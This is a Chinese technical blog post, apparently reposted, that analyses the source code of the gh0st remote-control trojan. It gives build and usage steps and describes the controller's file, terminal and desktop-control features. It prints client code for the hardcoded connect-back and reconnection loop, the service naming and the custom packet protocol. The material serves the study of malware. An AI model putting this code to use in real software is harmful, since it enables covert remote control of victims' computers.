gh0st源码分析(上篇)
Posted 高性能服务器开发
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了gh0st源码分析(上篇)相关的知识,希望对你有一定的参考价值。
Gh0st 的编译与使用方法
相信很多人应该或多或少地听说过 gh0st 的大名,正如上面所说,它是一款远程控制软件,其原始版本的代码和作者已经无从考证,笔者手里这一份也来源于网络,我修正一些 bug 并作了一些优化,仅供个人学习研究,不可用于商业用途和任何非法用途,否则后果自负。
编译方法
下载好代码以后,使用 Visual Studio 2013 打开源码目录下的 gh0st.sln 文件,打开后,整个解决方案有两个工程分别是 gh0st_server 和 gh0st_client。如下图所示:
其中,gh0st_server 是远程控制的控制端,gh0st_client 是远程控制的被控制端。gh0st_client 通过网络连接 gh0st_server 并将自己所在的机器的一些基本信息(如计算机名、操作系统版本号、CPU 型号、有无摄像头等)反馈给控制端,连接成功以后控制端就可以通过网络将相应的控制命令发给被控制端了,被控制端将命令执行结果发给控制端,以此来达到远程控制目标主机的目的。原理示意如下:
TCHAR *lpszHost = TEXT("127.0.0.1");
使用方法
我们先在本机上启动 gh0st_server.exe,然后在虚拟机中启动被控制端 gh0st_client.exe,很快 gh0st_client 就会连上 gh0st_server。这二者的启动顺序无所谓谁先谁后,因为 gh0st_client 有自动重连机制,被控制端连上控制端后,控制端(gh0st_server)的效果图如下所示:
当然,控制端可以同时控制多个被控制端,我这里在本机也开了一个被控制端,所以界面上会显示两个连上来的主机信息。
我们选择其中一个主机,点击右键菜单中的某一项就可以进行具体的控制操作了:
下面截取一些控制画面:
文件管理
文件管理功能可以自由从控制端被控制来回传送和运行文件。
远程终端
远程桌面
当然,远程桌面功能不仅可以查看远程电脑当前正在操作的界面,同时还可以控制它的操作,在远程桌面窗口标题栏右键弹出菜单中选择【控制屏幕】即可,当然为了控制的流畅性,你可以自由选择被控制端传过来的图片质量,最高是 32位真彩色。
为了节省篇幅,其他功能就不一一截图了,有兴趣的读者可以自行探索。
gh0st_client 源码分析
程序主脉络
我们先来看下被控制端的代码基本逻辑(原始代码位于 svchost.cpp 中),简化后的脉络代码如下:
int main(int argc, char **argv)
{
// lpServiceName,在ServiceMain返回后就没有了
TCHAR strServiceName[200];
lstrcpy(strServiceName, TEXT("clientService"));
//一个随机的名字
TCHAR strKillEvent[60];
HANDLE hInstallMutex = NULL;
if (!CKeyboardManager::MyFuncInitialization())
return -1;
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode(SEM_FAILCRITICALERRORS);
//TCHAR *lpszHost = TEXT("127.0.0.1");
TCHAR *lpszHost = TEXT("10.32.26.125");
DWORD dwPort = 8080;
TCHAR *lpszProxyHost = NULL;//这里就当做是上线密码了
HANDLE hEvent = NULL;
CClientSocket socketClient;
socketClient.bSendLogin = true;
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
while (1)
{
// 如果不是心跳超时,不用再sleep两分钟
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
// 2分钟断线重连, 为了尽快响应killevent
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
// 每次睡眠60毫秒,一共睡眠2000次,共计两分钟
Sleep(60);
}
}// end if
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR;
continue;
}
CKeyboardManager::dwTickCount = GetTickCount();
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo_false(&socketClient);
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
//////////////////////////////////////////////////////////////////////////
// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
if (!manager.IsActived())
continue;
DWORD dwIOCPEvent;
CKeyboardManager::dwTickCount = GetTickCount();
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hExitEvent, 100);
Sleep(500);
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}// end while-loop
SetErrorMode(0);
ReleaseMutex(hInstallMutex);
CloseHandle(hInstallMutex);
return 0;
}
这段逻辑可以梳理成如下的流程图:
通过上图,我们得到程序三个关键性执行络脉:
脉络一
我们可以知道要想让整个被控制端程序退出就需要收到所谓的杀死事件,判断收到杀死事件的机制是使用 Windows 的内核对象 Event(注意与 UI 事件循环那个 Event),在前面的多线程章节也介绍过,如果这个 Event 对象是一个命名对象,它是可以跨进程的共享的,当我们一个进程尝试使用 OpenEvent API 结合事件名称去打开它,如果这个命名对象已经存在,就会返回这个内核对象的句柄,反之如果不存在则返回 NULL,上述代码中 32 ~ 37 行,70、75 ~ 79行代码即是利用这个原理来控制程序是否退出。
hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
脉络二
如果程序收到的是所谓的退出事件(socketClient.m_hExitEvent),则会断开当前连接,两分钟后重新连接。
脉络三
如果不是脉络一和脉络二的逻辑,程序的主线程就会一直执行一个小的循环(上述代码 68 行 ~ 73 行),无限等待下去,这样做的目的是为了主线程不退出,这样支线程(工作线程)才能正常工作。那么有几个工作线程呢?分别是做什么工作?
工作线程
工作线程一
在主线程连接服务器时,调用了:
//svchost.cpp 211行
socketClient.Connect(lpszHost, dwPort)
在 socketClient.Connect() 函数中末尾处,即连接成功后,会新建一个工作线程,线程函数叫 WorkThread:
//ClientSocket.cpp 167行
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
WorkThread 函数的内容如下:
//ClientSocket.cpp 174行
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
closesocket(NULL);
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER];
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
closesocket(NULL);
while (pThis->IsRunning())
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL);
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
if (nSize <= 0)
{
pThis->Disconnect();
break;
}
if (nSize > 0)
pThis->OnRead((LPBYTE)buff, nSize);
}
}
return -1;
}
这段代码先用 select 函数检测连接 socket 上是否有数据可读,如果有数据则调用 recv 函数去收取数据,每次最多收取 MAX_RECV_BUFFER(8 * 1024) 个字节。由于这里 select 函数最后一个参数设置成了 NULL,如果当前没有可读数据,则 select 函数会无限阻塞该线程;如果 select 函数调用失败,则断开连接,在断开连接时,除了重置一些状态外,还会设置上文说的 socketClient.m_hExitEvent 事件对象,这样主线程就不会继续卡在上文说的那个循环中,而是会继续下一轮的重连服务器动作。
//ClientSocket.cpp 311行
void CClientSocket::Disconnect()
{
//非重点代码省略...
SetEvent(m_hExitEvent);
//非重点代码省略...
}
如果成功收到数据以后,接着该工作线程调用 pThis->OnRead((LPBYTE)buff, nSize);进行解包处理:
//SocketClient.cpp 227行
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwiosize)
{
closesocket(NULL);
try
{
if (dwIoSize == 0)
{
Disconnect();
return;
}
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新发送
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
// Add the message to out message
// Dont forget there could be a partial, 1, 1 or more + partial mesages
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag));
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
delete[] pData;
delete[] pDeCompressionData;
}
else
break;
}
}
catch (...)
{
m_CompressionBuffer.ClearBuffer();
Send(NULL, 0);
}
closesocket(NULL);
}
这是一段非常经典的解包逻辑处理方式,通过这段代码我们也能得到 gh0st 使用的网络通信协议格式。
如果收到的数据大小是 FLAG_SIZE(5)个字节,且内容是 gh0st 这五个字母(这种序列称为 Packet Flag):
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新发送
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
m_bPacketFlag 是一个 5 字节的数据,其在 CClientSocket 对象构造函数中设置的:
//ClientSocket.cpp 34行
BYTE bPacketFlag[] = { 'g', 'h', '0', 's', 't' };
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
这个 Packet Flag 的作用是 gh0st 控制端和被控制端协商好的,如果某一次某一端收到仅仅含有 Packet Flag 的数据,该端会重发上一次的数据包。这个我们可以通过发数据的函数中的逻辑可以看出来:
//SocketClient.cpp 340行
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
{
closesocket(NULL);
m_WriteBuffer.ClearBuffer();
if (nSize > 0)
{
// Compress data
unsigned long destLen = (double)nSize * 1.001 + 12;
GetTickCount();
LPBYTE pDest = new BYTE[destLen];
if (pDest == NULL)
return 0;
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete[] pDest;
return -1;
}
//////////////////////////////////////////////////////////////////////////
LONG nBufLen = destLen + HDR_SIZE;
// 5 bytes packet flag
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
// 4 byte header [Size of Entire Packet]
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
// Write Data
m_WriteBuffer.Write(pDest, destLen);
delete[] pDest;
//原始未压缩的数据先备份一份
// 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
GetForegroundWindow();
CopyMemory(lpResendWriteBuffer, lpData, nSize);
GetForegroundWindow();
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 备份发送的数据
if (lpResendWriteBuffer)
delete[] lpResendWriteBuffer;
}
else // 要求重发, 只发送FLAG
{
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 备份发送的数据
}
// 分块发送
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
}
这个函数的第二个参数 nSize 如果不大于 0, 则调用该函数时的作用就是发一下该 Packet Flag,对端收到该 Flag 数据后就会重发上一次的包,为了方便重复本端上一的数据包,每次正常发数据的时候,会将本次发送的数据备份到 m_ResendWriteBuffer成员变量中去,下一次取出该数据即可重发。
如果收到的不是重发标志,则将数据放到接收缓冲区 m_CompressionBuffer 中,这也是一个成员变量,而且其数据是压缩后的,接下来就是解包的过程。
//ClientSocket.cpp 247行
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag));
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
delete[] pData;
delete[] pDeCompressionData;
}
else
break;
}
这个过程如下:
文章未完,有兴趣的读者可以继续关注下一篇《gh0st 源码分析(中篇)》。
相关阅读
以上是关于gh0st源码分析(上篇)的主要内容,如果未能解决你的问题,请参考以下文章
MyBatis源码分析Configuration加载(上篇)
Android 插件化VirtualApp 源码分析 ( 目前的 API 现状 | 安装应用源码分析 | 安装按钮执行的操作 | 返回到 HomeActivity 执行的操作 )(代码片段
Android 逆向整体加固脱壳 ( DEX 优化流程分析 | DexPrepare.cpp 中 dvmOptimizeDexFile() 方法分析 | /bin/dexopt 源码分析 )(代码片段
Android 事件分发事件分发源码分析 ( Activity 中各层级的事件传递 | Activity -> PhoneWindow -> DecorView -> ViewGroup )(代码片段